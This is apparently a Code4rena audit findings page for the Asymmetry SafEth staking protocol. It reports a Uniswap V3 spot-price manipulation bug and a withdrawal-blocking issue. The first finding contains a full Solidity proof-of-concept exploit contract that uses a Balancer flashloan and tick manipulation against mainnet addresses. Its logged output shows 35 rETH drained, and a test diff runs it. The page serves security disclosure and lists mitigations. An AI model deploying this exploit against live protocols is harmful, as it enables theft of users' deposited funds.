Platform: Code4rena
Start Date: 24/03/2023
Pot Size: $49,200 USDC
Total HM: 20
Participants: 246
Period: 6 days
Judge: Picodes
Total Solo HM: 1
Id: 226
League: ETH
Rank: 218/246
Findings: 2
Award: $8.41
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: HHK
Also found by: 019EC6E2, 0Kage, 0x52, 0xRobocop, 0xTraub, 0xbepresent, 0xepley, 0xfusion, 0xl51, 4lulz, Bahurum, BanPaleo, Bauer, CodeFoxInc, Dug, HollaDieWaldfee, IgorZuk, Lirios, MadWookie, MiloTruck, RedTiger, Ruhum, SaeedAlipoor01988, Shogoki, SunSec, ToonVH, Toshii, UdarTeam, Viktor_Cortess, a3yip6, auditor0517, aviggiano, bearonbike, bytes032, carlitox477, carrotsmuggler, chalex, deliriusz, ernestognw, fs0c, handsomegiraffe, igingu, jasonxiale, kaden, koxuan, latt1ce, m_Rassska, n1punp, nemveer, nowonder92, peanuts, pontifex, roelio, rvierdiiev, shalaamum, shuklaayush, skidog, tank, teddav, top1st, ulqiorra, wait, wen, yac
0.1353 USDC - $0.14
https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/Reth.sol#L177-L183 https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/Reth.sol#L228-L242
When staking into SafEth, it deposits a proportional amount to all derivatives. The Reth contract uses UniswapV3 swap to process deposits when the rETH deposit pool cannot process deposits, which currently is the case.
It checks the pool price via he sqrtPriceX96
value, which is a spot price and can be manipulated.
Simple price manipulation will have limited impact on the minted shares because all calculations are done relatively. However, the prices used in the calculation can be manipulated to return different values in different stages of the deposit process. This makes it possible to min more SafEth then intended.
Before deposit, ethPerDerivative is used to calculate the underlyingValue
, and after deposit, it is used to calculate the relative stake.
If we can have ethPerDerivative
give different price between the first and second call, it is possible to manipulate this to our advantage.
With UniswapV3 liquidity is split in ticks. This makes it possible to manipulate the pool liquidity to get this behaviour.
Steps to take:
ethPerDerivative
on start of deposit at the low price. since there is enough liquidity in our tick to do the swap, slippage will be within the 1%. Because we have swapped a fraction more then the liquidity in our tick, price will come back to the already existing ticks with liquidity. This will up the price to normal levels and cause the last ethPerDerivative
call. This will cause the derivativeReceivedEthValue to be too high. This will mint a larger amount of SafEthTo test this, a script is created to perform the above steps. This demonstrates that without tweaking it can steal 35 rEth from the contracts.
start hack, request Balancer flashloan receiveFlashLoan:, 0xae78736cd615f374d3085123a210448e74fc6393 2000000000000000000000 Our Balances: ------------------------------------------------ WETH = 0 , 0 rEth = 2000 , 0 SafEth = 0 , 0 rEth to payback = 2000 , 0 ================================================ ** Swap large sum of rEth in pool, to manipulate price Our Balances: ------------------------------------------------ WETH = 1461 , 180344884900705678 rEth = 626 , 586958405328445150 SafEth = 0 , 0 rEth to payback = 2000 , 0 ================================================ ** Add Liquidity to the Uniswap pool at a low tick ** Swap in pool so it has the right amounts Our Balances: ------------------------------------------------ WETH = 1436 , 380344884900705678 rEth = 446 , 726260350324573759 SafEth = 0 , 0 rEth to payback = 2000 , 0 ================================================ ** Stake 200 ether in SafEth contract, rEth price will be different before and after deposit Tokens are swapped at manipulated low rate, but swap itself makes price go back to normal range. derivativeReceivedEthValue will be calculated at normal price after the swap. Reth.poolPrice = 367 / 1000 Reth.poolPrice = 367 / 1000 Reth.poolPrice = 1038 / 1000 Our Balances: ------------------------------------------------ WETH = 1236 , 380344884900705678 rEth = 446 , 726260350324573759 SafEth = 410 , 365783268992516893 rEth to payback = 2000 , 0 ================================================ ** Burn Uniswap position and collect Our Balances: ------------------------------------------------ WETH = 1327 , 380416402969104563 rEth = 446 , 726260350324573759 SafEth = 410 , 365783268992516893 rEth to payback = 2000 , 0 ================================================ ** Swap back Weth for rEth to get the Uniswap pool back to normal range Our Balances: ------------------------------------------------ WETH = 0 , 0 rEth = 1693 , 773265463537795300 SafEth = 410 , 365783268992516893 rEth to payback = 2000 , 0 ================================================ ** Unstake from SafEth and deposit received Eth in Weth Our Balances: ------------------------------------------------ WETH = 366 , 402555180615870275 rEth = 1693 , 773265463537795300 SafEth = 0 , 0 rEth to payback = 2000 , 0 ================================================ ** Swap the rest of Weth to rEth to payback flashloan ** Payback flashloan 2000000000000000000000 rEth All paid back, final balance: Our Balances: ------------------------------------------------ WETH = 0 , 0 rEth = 35 , 782985562448270762 SafEth = 0 , 0 rEth to payback = 0 , 0 ================================================
Contracts/hackSafEth.sol
pragma solidity ^0.8.13; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "./interfaces/IWETH.sol"; import "./interfaces/uniswap/ISwapRouter.sol"; import "./interfaces/uniswap/IUniswapV3Factory.sol"; import "./interfaces/uniswap/IUniswapV3Pool.sol"; import "./interfaces/rocketpool/RocketStorageInterface.sol"; import "hardhat/console.sol"; interface ISafEth is IERC20 { function stake() external payable; function unstake(uint256 _safEthAmount) external; } interface IBalancer { function flashLoan(address recipient, address[] memory tokens, uint256[] memory amounts, bytes memory userData) external; } contract hackSafEth { address public constant ROCKET_STORAGE_ADDRESS = 0x1d8f8f00cfa6758d7bE78336684788Fb0ee0Fa46; address public constant W_ETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public constant UNISWAP_ROUTER = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45; address public constant UNI_V3_FACTORY = 0x1F98431c8aD98523631AE4a59f267346ea31F984; address private constant BALANCER_VAULT_ADDRESS = 0xBA12222222228d8Ba445958a75a0704d566BF2C8; address private constant UNISWAP_RET_WETH_POOL = 0xa4e0faA58465A2D369aa21B3e42d43374c6F9613; address private constant RETH_TOKEN = 0xae78736Cd615f374D3085123A210448E74Fc6393; uint256 rEthToPayback; ISafEth safEth ; IERC20 rEth ; constructor(ISafEth safEth_) { safEth = safEth_; rEth = IERC20(RETH_TOKEN); } function start() public { console.log('start hack, request Balancer flashloan'); IBalancer vault = IBalancer(BALANCER_VAULT_ADDRESS); address[] memory tokens = new address[](1); uint256[] memory amounts = new uint256[](1); uint256 want = 2000 ether; if (rEth.balanceOf(BALANCER_VAULT_ADDRESS) < want){ want = rEth.balanceOf(BALANCER_VAULT_ADDRESS); } tokens[0] = address(rEth); amounts[0] = want; vault.flashLoan(address(this), tokens, amounts, "test"); } function showBalances() public { uint256 wb = IWETH(W_ETH_ADDRESS).balanceOf(address(this)); uint256 rb = rEth.balanceOf(address(this)); uint256 sb = safEth.balanceOf(address(this)); console.log(' '); console.log('Our Balances:'); console.log('------------------------------------------------'); console.log('WETH = ',wb / 1e18,',',wb % 1e18); console.log('rEth = ',rb / 1e18,',',rb % 1e18); console.log('SafEth = ',sb / 1e18,',',sb % 1e18); console.log('rEth to payback = ',rEthToPayback / 1e18,',',rEthToPayback % 1e18); console.log('================================================'); console.log(' '); } function receiveFlashLoan( IERC20[] memory tokens, uint256[] memory amounts, uint256[] memory feeAmounts, bytes memory userData ) external { require(msg.sender == BALANCER_VAULT_ADDRESS); console.log('receiveFlashLoan:, ',address(tokens[0]), amounts[0]); rEthToPayback = amounts[0] + feeAmounts[0]; showBalances(); // Swap large sum of rEth in pool, to manipulate price console.log('** Swap large sum of rEth in pool, to manipulate price'); tokens[0].approve(UNISWAP_ROUTER, tokens[0].balanceOf(address(this))); ISwapRouter.ExactInputSingleParams memory params = ISwapRouter .ExactInputSingleParams({ tokenIn: address(tokens[0]), tokenOut: W_ETH_ADDRESS, fee: 500, recipient: address(this), amountIn: 13400 ether, amountOutMinimum: 0, sqrtPriceLimitX96: 0 }); uint256 amountOut = ISwapRouter(UNISWAP_ROUTER).exactInputSingle(params); showBalances(); /** choose some arbitrary tick with a low price to add liquidity to I did not bother to calculate the optimal tick and amount to use */ console.log('** Add Liquidity to the Uniswap pool at a low tick'); int24 tick = -10000; uint128 mintAmount = 300000 ether; IUniswapV3Pool(UNISWAP_RET_WETH_POOL).mint(address(this) , int24(tick), int24(tick+10), mintAmount, new bytes(0x0) ); /** swap right amount in pool that the 200 ether deposit amount matches what is left in our tick because it it a POC, I did not take the effort to calculate the ideal value but this is close enough. */ console.log('** Swap in pool so it has the right amounts'); IWETH(W_ETH_ADDRESS).approve(UNISWAP_ROUTER, IWETH(W_ETH_ADDRESS).balanceOf(address(this))); params = ISwapRouter .ExactInputSingleParams({ tokenIn: W_ETH_ADDRESS, tokenOut: address(tokens[0]), fee: 500, recipient: address(this), amountIn: 24.8 ether, amountOutMinimum: 0, sqrtPriceLimitX96: 0 }); amountOut = ISwapRouter(UNISWAP_ROUTER).exactInputSingle(params); showBalances(); /** Stake a maximum amount of 200 ether */ console.log('** Stake 200 ether in SafEth contract, rEth price will be different before and after deposit'); console.log(' Tokens are swapped at manipulated low rate, but swap itself makes price go back to normal range.'); console.log(' derivativeReceivedEthValue will be calculated at normal price after the swap.'); uint256 stakeAmount = 200 ether; IWETH(W_ETH_ADDRESS).withdraw(stakeAmount); safEth.stake{value: stakeAmount}(); showBalances(); console.log('** Burn Uniswap position and collect'); (uint256 amount0Requested,uint256 amount1Requested) = IUniswapV3Pool(UNISWAP_RET_WETH_POOL).burn( int24(tick), int24(tick+10), mintAmount ); IUniswapV3Pool(UNISWAP_RET_WETH_POOL).collect( address(this), int24(tick), int24(tick+10), uint128(amount0Requested), uint128(amount1Requested) ); showBalances(); console.log('** Swap back Weth for rEth to get the Uniswap pool back to normal range'); IWETH(W_ETH_ADDRESS).approve(UNISWAP_ROUTER, IWETH(W_ETH_ADDRESS).balanceOf(address(this))); params = ISwapRouter .ExactInputSingleParams({ tokenIn: W_ETH_ADDRESS, tokenOut: address(tokens[0]), fee: 500, recipient: address(this), amountIn: IWETH(W_ETH_ADDRESS).balanceOf(address(this)), amountOutMinimum: 0, sqrtPriceLimitX96: 0 }); amountOut = ISwapRouter(UNISWAP_ROUTER).exactInputSingle(params); showBalances(); console.log('** Unstake from SafEth and deposit received Eth in Weth'); safEth.unstake(safEth.balanceOf(address(this))); IWETH(W_ETH_ADDRESS).deposit{value: address(this).balance}(); showBalances(); console.log('** Swap the rest of Weth to rEth to payback flashloan'); IWETH(W_ETH_ADDRESS).approve(UNISWAP_ROUTER, IWETH(W_ETH_ADDRESS).balanceOf(address(this))); params = ISwapRouter .ExactInputSingleParams({ tokenIn: W_ETH_ADDRESS, tokenOut: address(tokens[0]), fee: 500, recipient: address(this), amountIn: IWETH(W_ETH_ADDRESS).balanceOf(address(this)), amountOutMinimum: 0, sqrtPriceLimitX96: 0 }); amountOut = ISwapRouter(UNISWAP_ROUTER).exactInputSingle(params); console.log('** Payback flashloan ',rEthToPayback,' rEth'); rEth.transfer(BALANCER_VAULT_ADDRESS,rEthToPayback); rEthToPayback = 0; console.log('All paid back, final balance:'); showBalances(); } function uniswapV3MintCallback( uint256 amount0Owed, uint256 amount1Owed, bytes calldata data ) external { require (msg.sender == UNISWAP_RET_WETH_POOL,'not from pool'); require(amount0Owed <= rEth.balanceOf(address(this)),'too much'); require(amount1Owed == 0,'want to pay only rEth'); rEth.transfer(UNISWAP_RET_WETH_POOL,amount0Owed); } receive() external payable { } fallback() external { } }
This is added to the SafEth-Integration.test.ts
test in the following way
diff --git a/test/SafEth-Integration.test.ts b/test/SafEth-Integration.test.ts index 4f69464..fc40ca6 100644 --- a/test/SafEth-Integration.test.ts +++ b/test/SafEth-Integration.test.ts @@ -10,6 +10,7 @@ import { } from "./helpers/integrationHelpers"; import { getLatestContract } from "./helpers/upgradeHelpers"; import { BigNumber } from "ethers"; +import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers"; // These tests are intended to run in-order. // Together they form a single integration test simulating real-world usage @@ -75,6 +76,32 @@ describe("SafEth Integration Test", function () { expect(derivativeCount).eq(supportedDerivatives.length); }); + + it("Can remove funds via price manipulation", async function () { + let adminAccount: SignerWithAddress; + let hackerAccount: SignerWithAddress; + const SafEth = await getLatestContract(strategyContractAddress, "SafEth"); + const accounts = await ethers.getSigners(); + adminAccount = accounts[0]; + hackerAccount = accounts[1]; + + let supply = await SafEth.totalSupply(); + + // stake 200 ether to have something in the pool to steal + const depositAmount = ethers.utils.parseEther("200"); + await SafEth.stake({ value: depositAmount }); + await SafEth.stake({ value: depositAmount }); + + // run hack to steal rEth via flashloan prica manipulation + const hackSafEthFactory = await ethers.getContractFactory("hackSafEth"); + const hackSafEth = await hackSafEthFactory.deploy(SafEth.address); + await hackSafEth.start(); + + + }); + + + it("Should stake a random amount 3 times for each user", async function () { await randomStakes( strategyContractAddress,
manual review, hardhat
Use a Twap oracle for prices instead of spot value.
#0 - c4-pre-sort
2023-04-04T11:38:48Z
0xSorryNotSorry marked the issue as duplicate of #601
#1 - c4-judge
2023-04-21T16:11:48Z
Picodes marked the issue as duplicate of #1125
#2 - c4-judge
2023-04-21T16:14:20Z
Picodes marked the issue as satisfactory
🌟 Selected for report: __141345__
Also found by: 0xWaitress, 0xbepresent, AkshaySrivastav, Bauer, Haipls, HollaDieWaldfee, Lirios, MiloTruck, SaeedAlipoor01988, UdarTeam, adriro, bytes032, ck, d3e4, hihen, hl_, kaden, ladboy233, lopotras, m_Rassska, peanuts, reassor, volodya
8.2654 USDC - $8.27
SafEth supports multiple derivative contracts, initially those are SfxEth
, WstEth
and rEth
.
When unstaking, a proportional amount is withdrawn from each derivative.
If for any reason one of the derivatives reverts on withdraw, it will block the withdrawal of all derivatives.
SafEth.sol#L113-L119 loops through all known derivative contracts to withdraw the requesed share.
If any of those withdraw calls fails, it will also lock funds for other derivatives, without an option to exclude the non working derivative. So if for example WstEth
withdraw fails, it will be impossible to withdraw SfxEth
and rEth
too.
While it seems unlikely that a withdrawal will fail, there could be some scenarios where this could happen.
rEth
token is burned for eth on withdrawal. It has a Totalsupply of 216k rEth, but only 534 Eth in the contract. If many people burn their rEth
, the contract could have low/no liquidity. This would prevent users from burning rEth and blocking unstaking of SafEth.stEth
contract is pausable. If any vulnerability or exploit is found, it could be stopped, blocking
transfers. With stEth stopped, unstaking of SafEth will be impossible.FrxEth
is using Curve on withdraw. If liquidity on curve is low, this could cause withdrawals of large amounts to give problemsManual review
The contract should have an option for emergency withdrawal of derivatives by admin or an emergency option to exclude derivatives completely.
#0 - c4-pre-sort
2023-04-03T06:57:30Z
0xSorryNotSorry marked the issue as low quality report
#1 - c4-pre-sort
2023-04-04T20:13:34Z
0xSorryNotSorry marked the issue as duplicate of #770
#2 - c4-judge
2023-04-24T18:28:03Z
Picodes marked the issue as satisfactory